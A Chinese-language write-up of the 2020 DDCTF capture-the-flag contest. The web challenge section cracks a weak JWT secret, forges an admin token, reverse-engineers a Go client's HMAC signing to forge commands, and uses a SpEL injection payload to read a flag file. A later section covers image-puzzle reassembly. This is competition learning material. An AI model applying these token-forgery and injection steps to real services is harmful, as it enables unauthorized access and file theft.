2020DDCTF WP
Web签到题
题目
请从服务端获取client,利用client获取flag
server url:http://117.51.136.197/hint/1.txt
根据提示获取信息
curl http://117.51.136.197/admin/login --data "username=admin&pwd=admin"
返回token
{"code":0,"message":"success","data":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5Mjg3NDQxfQ.jbAOZ_NOCoe54hdr9i8t741h6Y2FP1UY5tDdMxvWXpE"}
curl http://117.51.136.197/admin/auth --data "username=admin&pwd=admin&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6ImFkbWluIiwiZXhwIjoxNTk5Mjc2ODQxfQ.Ya9TieutPtdqGO6uwf-GlO8a9SxngCbLHh-P4gwThTE"
可以登录用户
auth{"code":1000,"message":"need ADMIN permission","data":null}
JWT爆破密钥
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6IkdVRVNUIiwiZXhwIjoxNTk5Mjc2ODgyfQ.nHz1P2TsTiWYmlIqRs6Sjvk5nXklNn24RuByaEyqOUk
Secret is "admin"
{
"userName": "admin",
"pwd": "admin",
"userRole": "GUEST", //修改为admin 用爆破出的key加密
"exp": 1599276841
}
` curl http://117.51.136.197/admin/auth –data “username=admin&pwd=admin&token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwicHdkIjoiYWRtaW4iLCJ1c2VyUm9sZSI6ImFkbWluIiwiZXhwIjoyNTk5Mjc2ODQxfQ.IQ7iBzVvkSilKfBXOImS9pNNMtmlQ1VI_TIZCmtJbDE”`
{"code":0,"message":"success","data":"client dowload url: http://117.51.136.197/B5Itb8dFDaSFWZZo/client"}
运行clinet
2020/09/04 11:48:04
____ _ ____ _ ____ _____ _____ ____ ____ ____ ____
/ _ \/ \/ _ \/ \/ _\/__ __\/ / /_ \/ _ \/_ \/ _ \
| | \|| || | \|| || / / \ | __\_____ / /| / \| / /| / \|
| |_/|| || |_/|| || \__ | | | | \____\/ /_| \_/|/ /_| \_/|
\____/\_/\____/\_/\____/ \_/ \_/ \____/\____/\____/\____/
2020/09/04 11:48:04
+---------------------------------------------------+
|Flag Path := /home/dc2-user/flag/flag.txt |
|签名格式 := command|time_stamp |
+---------------------------------------------------+
2020/09/04 11:48:04
+------------------+ +----------------------+ +--------------------+
| | | | | |
| +----------------> +----------------> |
| Client | | Auth/Command | | minion |
| <----------------+ +<---------------+ |
| | | | | |
+------------------+ +----------------------+ +--------------------+
2020/09/04 11:48:04 [*]Start ping master...
2020/09/04 11:48:04 [-]http://117.51.136.197/server/health connect succuess
2020/09/04 11:48:04 [*]Start send command to minions...
2020/09/04 11:48:04 [+]get sign:YfeN1x50dE5z0u3GgWRcRKB9tPlVMVrItBYfEk10WUA=, command:'DDCTF', time_stamp:1599191284
2020/09/04 11:48:04 [+]send command url http://117.51.136.197/server/command and response:{"code":0,"message":"success","data":"DDCTF"}
tcpdump 'dst 117.51.136.197 ' -vv
抓到传参
{"signature":"x0rm+qCo9TNYbHOav2CDLVbB6CI8+LBFjktfOzfD3bg=","command":"'DDCTF'","timestamp":1599199407}
试图用ida逆向golang client 我的ida版本太老了所以只能用这个兄弟魔改的插件 golang_loader_assist(7.0 support)
发现经过了runtime_stringtoslicebyte -> crypto_sha256_New_ptr -> crypto_hmac_New -> encoding_base64__Encoding_EncodeToString
写了个脚本 结果位数不对
import hashlib
import hmac
import base64
secret = 'DDCTFWithYou' #sha1=fbf2c653e6a38b5051f652bbb665ec15b4f8a180
data = "'DDCTF'|1599205604"
sha256_computed = hashlib.sha256(data.encode("utf-8")).hexdigest()
hmac_computed = hmac.new(key=secret.encode('utf-8'),msg=sha256_computed.encode('utf-8'),digestmod=hashlib.sha1).hexdigest()
base64_computed = base64.b64encode(bytes(sha256_computed,"utf-8"))
print(base64_computed)
print(b"m/4VP+aX5JdEY3/Iq1SYYcpKj7bRLp96Q9Xy4nCBS7M=")
以下是看了师傅们题解。。。
Go 写的,简单逆一下,得到签名算法。
package main
import (
"bytes"
"io/ioutil"
"net/http"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"time"
"github.com/gin-gonic/gin"
)
type Param struct {
Command string `json:"command"`
Signature string `json:"signature"`
Timestamp int64 `json:"timestamp"`
}
func main() {
r := gin.Default()
r.POST("/", func(c *gin.Context) {
command := c.DefaultPostForm("command", "DDCTF")
key := "DDCTFWithYou"
timestamp := time.Now().Unix()
plain := fmt.Sprintf("%s|%d", command, timestamp)
mac := hmac.New(sha256.New, []byte(key))
mac.Write([]byte(plain))
param := new(Param)
param.Command = command
param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
param.Timestamp = timestamp
js, _ := json.Marshal(param)
url := "http://117.51.136.197/server/command"
resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
c.String(http.StatusOK, string(body))
})
r.Run(":2333")
}
一开始还以为是 cel,SpEL 有点简单过滤,直接能读到 /flag。
new java.util.Scanner(new java.io.File(‘/home/dc2-user/flag/flag.txt’)).next()
果然是我太菜了 我跟大佬的 简单 逆一下根本不是同一个简单
一起拼图吗
用Pillow把图片合成
import PIL.Image as Image
import os
IMAGES_PATH = './' # 图片集地址
IMAGES_FORMAT = ['.png'] # 图片格式
IMAGE_SIZE = 256 # 每张小图片的大小
IMAGE_ROW = 11 # 图片间隔,也就是合并成一张图后,一共有几行
IMAGE_COLUMN = 21 # 图片间隔,也就是合并成一张图后,一共有几列
IMAGE_SAVE_PATH = '../final.png' # 图片转换后的地址
# 获取图片集地址下的所有图片名称
image_names = [name for name in os.listdir(IMAGES_PATH) for item in IMAGES_FORMAT if
os.path.splitext(name)[1] == item]
def sort_file_by_time(file_path):
files = os.listdir(file_path)
if not files:
return
else:
files = sorted(files, key=lambda x: os.path.getmtime(os.path.join(file_path, x)))#格式解释:对files进行排序.x是files的元素,:后面的是排序的依据. x只是文件名,所以要带上join.
return files
image_names = sort_file_by_time(IMAGES_PATH)
print(image_names)
# 简单的对于参数的设定和实际图片集的大小进行数量判断
if len(image_names) < IMAGE_ROW * IMAGE_COLUMN:
raise ValueError("合成图片的参数和要求的数量不能匹配!")
# 定义图像拼接函数
def image_compose():
to_image = Image.new('RGB', (IMAGE_COLUMN * IMAGE_SIZE, IMAGE_ROW * IMAGE_SIZE)) #创建一个新图
# 循环遍历,把每张图片按顺序粘贴到对应位置上
for y in range(1, IMAGE_ROW + 1):
for x in range(1, IMAGE_COLUMN + 1):
from_image = Image.open(IMAGES_PATH + image_names[IMAGE_COLUMN * (y - 1) + x - 1]).resize(
(IMAGE_SIZE, IMAGE_SIZE),Image.ANTIALIAS)
to_image.paste(from_image, ((x - 1) * IMAGE_SIZE, (y - 1) * IMAGE_SIZE))
return to_image.save(IMAGE_SAVE_PATH) # 保存新图
image_compose() #调用函数
montage *.png -tile 9x9 -geometry +0+0 flag.png 然后gaps就能自动拼图了
gaps --image=flag.png --size=55 --save
以上也是理论 没有亲自尝试
总结
这次比赛也没怎么好好打 还以为是像去年一样 可以打一周的 结果忙了点别的事情 就错过了